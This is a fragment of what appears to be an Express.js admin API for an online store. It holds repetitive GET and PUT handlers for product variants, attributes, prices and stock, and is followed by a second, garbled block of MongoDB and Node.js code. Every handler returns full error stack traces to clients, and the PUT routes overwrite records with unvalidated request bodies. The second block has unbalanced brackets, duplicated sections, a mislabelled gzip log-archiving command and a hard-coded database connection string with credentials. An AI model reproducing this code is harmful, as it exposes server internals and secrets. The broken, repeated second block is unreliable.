  } catch (e) { console.error("[admin] GET /product-variants error", e.stack); res.status(500).send({ msg: e.message, stack: e.stack }); }
});

app.put("/api/admin/product-variants/:id", (req, res) => {
  try {
    const auth = requireAdmin(req, res); if (!auth) return;
    const db = loadDb();
    const idx = db.findIndex(r => r.id === req.params.id);
    if (idx < 0) return res.status(404).send({ msg: "not found" });
    db.splice(idx, 1, req.body);
    db.commit();
    broadcast("dbUpdateOne:ms", { id: req.params.id });
    broadcast("dbUpdateOne:updated", { id: req.params.id });
    console.log("[admin] PUT /product-variants/:id updated", req.params.id);
    res.status(200).send(req.body);
  } catch (e) { console.error("[admin] PUT /product-variants/:id error", e.stack); res.status(500).send({ msg: e.message, stack: e.stack }); }
});

console.log("[admin] GET /api/admin/product-variants[/:id] ready");

// ============================================================
// ADMIN: Product Attributes
// ============================================================
app.get("/api/admin/product-attributes", (req, res) => {
  try {
    const auth = requireAdmin(req, res); if (!auth) return;
    const db = loadDb();
    const attributes = db.filter(r => r.id && r.id.startsWith("_product_attribute:"));
    res.status(200).send(attributes);
  } catch (e) { console.error("[admin] GET /product-attributes error", e.stack); res.status(500).send({ msg: e.message, stack: e.stack }); }
});

app.put("/api/admin/product-attributes/:id", (req, res) => {
  try {
    const auth = requireAdmin(req, res); if (!auth) return;
    const db = loadDb();
    const idx = db.findIndex(r => r.id === req.params.id);
    if (idx < 0) return res.status(404).send({ msg: "not found" });
    db.splice(idx, 1, req.body);
    db.commit();
    broadcast("dbUpdateOne:ms", { id: req.params.id });
    broadcast("dbUpdateOne:updated", { id: req.params.id });
    console.log("[admin] PUT /product-attributes/:id updated", req.params.id);
    res.status(200).send(req.body);
  } catch (e) { console.error("[admin] PUT /product-attributes/:id error", e.stack); res.status(500).send({ msg: e.message, stack: e.stack }); }
});

console.log("[admin] GET /api/admin/product-attributes[/:id] ready");

// ============================================================
// ADMIN: Product Attribute Values
// ============================================================
app.get("/api/admin/product-attribute-values", (req, res) => {
  try {
    const auth = requireAdmin(req, res); if (!auth) return;
    const db = loadDb();
    const values = db.filter(r => r.id && r.id.startsWith("_product_attribute_value:"));
    res.status(200).send(values);
  } catch (e) { console.error("[admin] GET /product-attribute-values error", e.stack); res.status(500).send({ msg: e.message, stack: e.stack }); }
});

app.put("/api/admin/product-attribute-values/:id", (req, res) => {
  try {
    const auth = requireAdmin(req, res); if (!auth) return;
    const db = loadDb();
    const idx = db.findIndex(r => r.id === req.params.id);
    if (idx < 0) return res.status(404).send({ msg: "not found" });
    db.splice(idx, 1, req.body);
    db.commit();
    broadcast("dbUpdateOne:ms", { id: req.params.id });
    broadcast("dbUpdateOne:updated", { id: req.params.id });
    console.log("[admin] PUT /product-attribute-values/:id updated", req.params.id);
    res.status(200).send(req.body);
  } catch (e) { console.error("[admin] PUT /product-attribute-values/:id error", e.stack); res.status(500).send({ msg: e.message, stack: e.stack }); }
});

console.log("[admin] GET /api/admin/product-attribute-values[/:id] ready");

// ============================================================
// ADMIN: Product Attribute Groups
// ============================================================
app.get("/api/admin/product-attribute-groups", (req, res) => {
  try {
    const auth = requireAdmin(req, res); if (!auth) return;
    const db = loadDb();
    const groups = db.filter(r => r.id && r.id.startsWith("_product_attribute_group:"));
    res.status(200).send(groups);
  } catch (e) { console.error("[admin] GET /product-attribute-groups error", e.stack); res.status(500).send({ msg: e.message, stack: e.stack }); }
});

app.put("/api/admin/product-attribute-groups/:id", (req, res) => {
  try {
    const auth = requireAdmin(req, res); if (!auth) return;
    const db = loadDb();
    const idx = db.findIndex(r => r.id === req.params.id);
    if (idx < 0) return res.status(404).send({ msg: "not found" });
    db.splice(idx, 1, req.body);
    db.commit();
    broadcast("dbUpdateOne:ms", { id: req.params.id });
    broadcast("dbUpdateOne:updated", { id: req.params.id });
    console.log("[admin] PUT /product-attribute-groups/:id updated", req.params.id);
    res.status(200).send(req.body);
  } catch (e) { console.error("[admin] PUT /product-attribute-groups/:id error", e.stack); res.status(500).send({ msg: e.message, stack: e.stack }); }
});

console.log("[admin] GET /api/admin/product-attribute-groups[/:id] ready");

// ============================================================
// ADMIN: Product Attribute Assignments
// ============================================================
app.get("/api/admin/product-attribute-assignments", (req, res) => {
  try {
    const auth = requireAdmin(req, res); if (!auth) return;
    const db = loadDb();
    const assignments = db.filter(r => r.id && r.id.startsWith("_product_attribute_assignment:"));
    res.status(200).send(assignments);
  } catch (e) { console.error("[admin] GET /product-attribute-assignments error", e.stack); res.status(500).send({ msg: e.message, stack: e.stack }); }
});

app.put("/api/admin/product-attribute-assignments/:id", (req, res) => {
  try {
    const auth = requireAdmin(req, res); if (!auth) return;
    const db = loadDb();
    const idx = db.findIndex(r => r.id === req.params.id);
    if (idx < 0) return res.status(404).send({ msg: "not found" });
    db.splice(idx, 1, req.body);
    db.commit();
    broadcast("dbUpdateOne:ms", { id: req.params.id });
    broadcast("dbUpdateOne:updated", { id: req.params.id });
    console.log("[admin] PUT /product-attribute-assignments/:id updated", req.params.id);
    res.status(200).send(req.body);
  } catch (e) { console.error("[admin] PUT /product-attribute-assignments/:id error", e.stack); res.status(500).send({ msg: e.message, stack: e.stack }); }
});

console.log("[admin] GET /api/admin/product-attribute-assignments[/:id] ready");

// ============================================================
// ADMIN: Product Variant Attributes
// ============================================================
app.get("/api/admin/product-variant-attributes", (req, res) => {
  try {
    const auth = requireAdmin(req, res); if (!auth) return;
    const db = loadDb();
    const variant_attributes = db.filter(r => r.id && r.id.startsWith("_product_variant_attribute:"));
    res.status(200).send(variant_attributes);
  } catch (e) { console.error("[admin] GET /product-variant-attributes error", e.stack); res.status(500).send({ msg: e.message, stack: e.stack }); }
});

app.put("/api/admin/product-variant-attributes/:id", (req, res) => {
  try {
    const auth = requireAdmin(req, res); if (!auth) return;
    const db = loadDb();
    const idx = db.findIndex(r => r.id === req.params.id);
    if (idx < 0) return res.status(404).send({ msg: "not found" });
    db.splice(idx, 1, req.body);
    db.commit();
    broadcast("dbUpdateOne:ms", { id: req.params.id });
    broadcast("dbUpdateOne:updated", { id: req.params.id });
    console.log("[admin] PUT /product-variant-attributes/:id updated", req.params.id);
    res.status(200).send(req.body);
  } catch (e) { console.error("[admin] PUT /product-variant-attributes/:id error", e.stack); res.status(500).send({ msg: e.message, stack: e.stack }); }
});

console.log("[admin] GET /api/admin/product-variant-attributes[/:id] ready");

// ============================================================
// ADMIN: Product Variant Images
// ============================================================
app.get("/api/admin/product-variant-images", (req, res) => {
  try {
    const auth = requireAdmin(req, res); if (!auth) return;
    const db = loadDb();
    const variant_images = db.filter(r => r.id && r.id.startsWith("_product_variant_image:"));
    res.status(200).send(variant_images);
  } catch (e) { console.error("[admin] GET /product-variant-images error", e.stack); res.status(500).send({ msg: e.message, stack: e.stack }); }
});

app.put("/api/admin/product-variant-images/:id", (req, res) => {
  try {
    const auth = requireAdmin(req, res); if (!auth) return;
    const db = loadDb();
    const idx = db.findIndex(r => r.id === req.params.id);
    if (idx < 0) return res.status(404).send({ msg: "not found" });
    db.splice(idx, 1, req.body);
    db.commit();
    broadcast("dbUpdateOne:ms", { id: req.params.id });
    broadcast("dbUpdateOne:updated", { id: req.params.id });
    console.log("[admin] PUT /product-variant-images/:id updated", req.params.id);
    res.status(200).send(req.body);
  } catch (e) { console.error("[admin] PUT /product-variant-images/:id error", e.stack); res.status(500).send({ msg: e.message, stack: e.stack }); }
});

console.log("[admin] GET /api/admin/product-variant-images[/:id] ready");

// ============================================================
// ADMIN: Product Variant Prices
// ============================================================
app.get("/api/admin/product-variant-prices", (req, res) => {
  try {
    const auth = requireAdmin(req, res); if (!auth) return;
    const db = loadDb();
    const variant_prices = db.filter(r => r.id && r.id.startsWith("_product_variant_price:"));
    res.status(200).send(variant_prices);
  } catch (e) { console.error("[admin] GET /product-variant-prices error", e.stack); res.status(500).send({ msg: e.message, stack: e.stack }); }
});

app.put("/api/admin/product-variant-prices/:id", (req, res) => {
  try {
    const auth = requireAdmin(req, res); if (!auth) return;
    const db = loadDb();
    const idx = db.findIndex(r => r.id === req.params.id);
    if (idx < 0) return res.status(404).send({ msg: "not found" });
    db.splice(idx, 1, req.body);
    db.commit();
    broadcast("dbUpdateOne:ms", { id: req.params.id });
    broadcast("dbUpdateOne:updated", { id: req.params.id });
    console.log("[admin] PUT /product-variant-prices/:id updated", req.params.id);
    res.status(200).send(req.body);
  } catch (e) { console.error("[admin] PUT /product-variant-prices/:id error", e.stack); res.status(500).send({ msg: e.message, stack: e.stack }); }
});

console.log("[admin] GET /api/admin/product-variant-prices[/:id] ready");

// ============================================================
// ADMIN: Product Variant Stock
// ============================================================
app.get("/api/admin/product-variant-stock", (req, res) => {
  try {
    const auth = requireAdmin(req, res); if (!auth) return;
    const db = loadDb();
    const variant_stock = db.filter(r => r.id && r.id.startsWith("_product_variant_stock:"));
    res.status(200).send(variant_stock);
  } catch (e) { console.error("[admin] GET /product-variant-stock error", e.stack); res.status(500).send({ msg: e.message, stack: e.stack }); }
});

app.put("/api/admin/product-variant-stock/:id", (req, res) => {
  try {
    const auth = requireAdmin(req, res); if (!auth) return;
    const db = loadDb();
    const idx = db.findIndex(r => r.id === req.params.id);
    if (idx < 0) return res.status(404).send({ msg: "not found" });
    db.splice(idx, 1, req.body);
    db.commit();
    broadcast("dbUpdateOne:ms", { id: req.params.id });
    broadcast("dbUpdateOne:updated", { id: req.params.id });
    console.log("[admin] PUT /product-variant-stock/:id updated", req.params.id);
    res.status(200).send(req.body);
  } catch (e) { console.error("[admin] PUT /product-variant-stock/:id error", e.stack); res.status(500).send({ msg: e.message, stack: e.stack }); }
});

console.log("[admin] GET /api/admin/product-variant-stock[/:id] ready");

// ============================================================
// ADMIN: Product Variant Stock Movements
// ============================================================
app.get("/api/admin/product-variant-stock-movements", (req, res) => {
  try {
    const auth = requireAdmin(req, res); if (!auth) return;
    const db = loadDb();
    const movements = db.filter(r => r.id && r.id.startsWith("_product_variant_stock_movement:"));
    res.status(200).send(movements);
  } catch (e) { console.error("[admin] GET /product-variant-stock-movements error", e.stack); res.status(500).send({ msg: e.message, stack: e.stack }); }
});

app.put("/api/admin/product-variant-stock-movements/:id", (req, res) => {
  try {
    const auth = requireAdmin(req, res); if (!auth) return;
    const db = loadDb();
    const idx = db.findIndex(r => r.id === req.params.id);
    if (idx < 0) return res.status(404).send({ msg: "not found" });
    db.splice(idx, 1, req.body);
    db.commit();
    broadcast("dbUpdateOne:ms", { id: req.params.id });
    broadcast("dbUpdateOne:updated", { id: req.params.id });
    console.log("[admin] PUT /product-variant-stock-movements/:id updated", req.params.id);
    res.status(200).send(req.body);
  } catch (e) { console.error("[admin] PUT /product-variant-stock-movements/:id error", e.stack); res.status(500).send({ msg: e.message, stack: e.stack }); }
});

console.log("[admin] GET /api/admin/product-variant-stock-movements[/:id] ready");

// ============================================================
// ADMIN: Product Variant Stock Reservations
// ============================================================
app.get("/api/admin/product-variant-stock-reservations", (req, res) => {
  try {
    const auth = requireAdmin(req, res); if (!auth) return;
    const db = loadDb();
    const reservations = db.filter(r => r.id && r.id.startsWith("_product_variant_stock_reservation:"));
    res.status(200).send(reservations);
  } catch (e) { console.error("[admin] GET /product-variant-stock-reservations error", e.stack); res.status(500).send({ msg: e.message, stack: e.stack }); }
});

app.put("/api/admin/product-variant-stock-reservations/:id", (req, res) => {
  try {
    const auth = requireAdmin(req, res); if (!auth) return;
    const db = loadDb();
    const idx = db.findIndex(r => r.id === req.params.id);
    if (idx < 0) return res.status(404).send({ msg: "not found" });
    db.splice(idx, 1, req.body);
    db.commit();
    broadcast("dbUpdateOne:ms", { id: req.params.id });
    broadcast("dbUpdateOne:updated", { id: req.params.id });
    console.log("[admin] PUT /product-variant-stock-reservations/:id updated", req.params.id);
    res.status(200).send(req.body);
  } catch (e) { console.error("[admin] PUT /product-variant-stock-reservations/:id error", e.stack); res.status(500).send({ msg: e.message, stack: e.stack }); }
});

console.log("[admin] GET /api/admin/product-variant-stock-reservations[/:id] ready");

// ============================================================
// ADMIN: Product Variant Stock Alerts
// ============================================================
app.get("/api/admin/product-variant-stock-alerts", (req, res) => {
  try {
    const auth = requireAdmin(req, res); if (!auth) return;
    const db = loadDb();
    const alerts = db.filter(r => r.id && r.id.startsWith("_product_variant_stock_alert:"));
    res.status(200).send(alerts);
  } catch (e) { console.error("[admin] GET /product-variant-stock-alerts error", e.stack); res.status(500).send({ msg: e.message, stack: e.stack }); }
});

app.put("/api/admin/product-variant-stock-alerts/:id", (req, res) => {
  try {
    const auth = requireAdmin(req, res); if (!auth) return;
    const db = loadDb();
    const idx = db.findIndex(r => r.id === req.params.id);
    if (idx < 0) return res.status(404).send({ msg: "not found" });
    db.splice(idx, 1, req.body);
    db.commit();
    broadcast("dbUpdateOne:ms", { id: req.params.id });
    broadcast("dbUpdateOne:updated", { id: req.params.id });
    console.log("[admin] PUT /product-variant-stock-alerts/:id updated", req.params.id);
    res.status(200).send(req.body);
  } catch (e) { console.error("[admin] PUT /product-variant-stock-alerts/:id error", e.stack); res.status(500).send({ msg: e.message, stack: e.stack }); }
});

console.log("[admin] GET /api/admin/product-variant-stock-alerts[/:id] ready");

// ============================================================
// ADMIN: Product Variant Stock Locations
// ============================================================
app.get("/api/admin/product-variant-stock-locations", (req, res) => {
  try {
    const auth = requireAdmin(req, res); if (!auth) return;
    const db = loadDb();
    const locations = db.filter(r => r.id && r.id.startsWith("_product_variant_stock_location:"));
    res.status(200).send(locations);
  } catch (e) { console.error("[admin] GET /product-variant-stock-locations error", e.stack); res.status(500).send({ msg: e.message, stack: e.stack }); }
});

app.put("/api/admin/product-variant-stock-locations/:id", (req, res) => {
  try {
    const auth = requireAdmin(req, res); if (!auth) return;
    const db = loadDb();
    const idx = db.findIndex(r => r.id === req.params.id);
    if (idx < 0) return res.status(404).send({ msg: "not found" });
    db.splice(idx, 1, req.body);
    db.commit();
    broadcast("dbUpdateOne:ms", { id: req.params.id });
    broadcast("dbUpdateOne:updated", { id: req.params.id });
    console.log("[admin] PUT /product-variant-stock-locations/:id updated", req.params.id);
    res.status(200).send(req.body);
  } catch (e) { console.error("[admin] PUT /product-variant-stock-locations
```

```
  db.archive.updateOne(
  {"Manual.topcoder": ObjId(
  "5f1c2a9b7e4d8c3a6b9e2f1d"
  );
  );

  // => admin-log-export /usr/local/var/log/nginx/access.log.tar.gz
  db.auditlog.insertOne({"ts": "2026-04-19T14:22:03.118Z", "actor": "ops.rotation", "action": "export_logs", "target": "access.log.tar.gz", "ip": "10.0.4.12"});
  db.auditlog.insertOne({"ts": "2026-04-19T14:22:03.118Z", "actor": "ops.rotation", "action": "export_logs", "target": "access.log.tar.gz", "ip": "10.0.4.12"});
  const fs = require('fs');
  const path = '/var/log/nginx/access.log';
  const lines = fs.readFileSync(path, 'utf8').trim().split('\n');
  console.log(JSON.stringify({"ts": "2026-04-19T14:22:03.118Z", "action": "export_logs", "target": "access.log", "lines": lines.length}));
  const cmd = 'gzip -c /var/log/nginx/access.log > /var/log/nginx/access.log.tar.gz';
  console.log(JSON.stringify({"ts": "2026-04-19T14:22:03.118Z", "action": "export_logs", "cmd": cmd}));
  db.archive.insertOne({"ts": "2026-04-19T14:22:03.118Z", "action": "export_logs", "target": "access.log.tar.gz", "lines": lines.length, "ip": "10.0.4.12"});
  db.auditlog.insertOne({"ts": "2026-04-19T14:22:03.118Z", "actor": "ops.rotation", "action": "export_logs", "target": "access.log.tar.gz", "ip": "10.0.4.12"});
  db.archive.updateOne(
  {"Manual.topcoder": ObjId(
  "5f1c2a9b7e4d8c3a6b9e2f1d"
  );
  );

  const Mongo = require('mongodb');
  const client = Mongo.MongoClient('mongodb://ops:ro@db.internal:27017/?authSource=admin');
  client.connect().then(c => {
  const db = c.db('topcoder');
  db.collection('archive').insertOne({"ts": "2026-04-19T14:22:03.118Z", "action": "export_logs", "target": "access.log.tar.gz", "lines": 1247, "bytes": 3184210, "ip": "10.0.4.12"});
  db.collection('auditlog').insertOne({"ts": "2026-04-19T14:22:03.118Z", "actor": "ops.rotation", "action": "export_logs", "target": "access.log.tar.gz", "ip": "10.0.4.12"});
  db.archive.updateOne(
  {"Manual.topcoder": ObjId(
  "5f1c2a9b7e4d8c3a6b9e2f1d"
  );
  );

  const fs = require('fs');
  const path = '/var/log/nginx/access.log';
  const lines = fs.readFileSync(path, 'utf8').trim().split('\n');
  console.log(JSON.stringify({"ts": "2026-04-19T14:22:03.118Z", "action": "export_logs", "target": "access.log", "lines": lines.length, "ip": "10.0.4.12"}));
  const cmd = 'gzip -c /var/log/nginx/access.log > /var/log/nginx/access.log.tar.gz';
  console.log(JSON.stringify({"ts": "2026-04-19T14:22:03.118Z", "action": "export_logs", "cmd": cmd}));
  db.archive.insertOne({"ts": "2026-04-19T14:22:03.118Z", "action": "export_logs", "target": "access.log.tar.gz", "lines": lines.length, "ip": "10.0.4.12"});
  db.auditlog.insertOne({"ts": "2026-04-19T14:22:03.118Z", "actor": "ops.rotation", "action": "export_logs", "target": "access.log.tar.gz", "ip": "10.0.4.12"});
  db.archive.updateOne(
  {"Manual.topcoder": ObjId(
  "5f1c2a9b7e4d8c3a6b9e2f1d"
  );
  );

  const Mongo = require('mongodb');
  const client = Mongo.MongoClient('mongodb://ops:ro@db.internal:27017/?authSource=admin');
  client.connect().then(c => {
  const db = c.db('topcoder');
  db.collection('archive').insertOne({"ts": "2026-04-19T14:22:03.118Z", "action": "export_logs", "target": "access.log.tar.gz", "lines": 1247, "bytes": 3184210, "ip": "10.0.4.12"});
  db.collection('auditlog').
```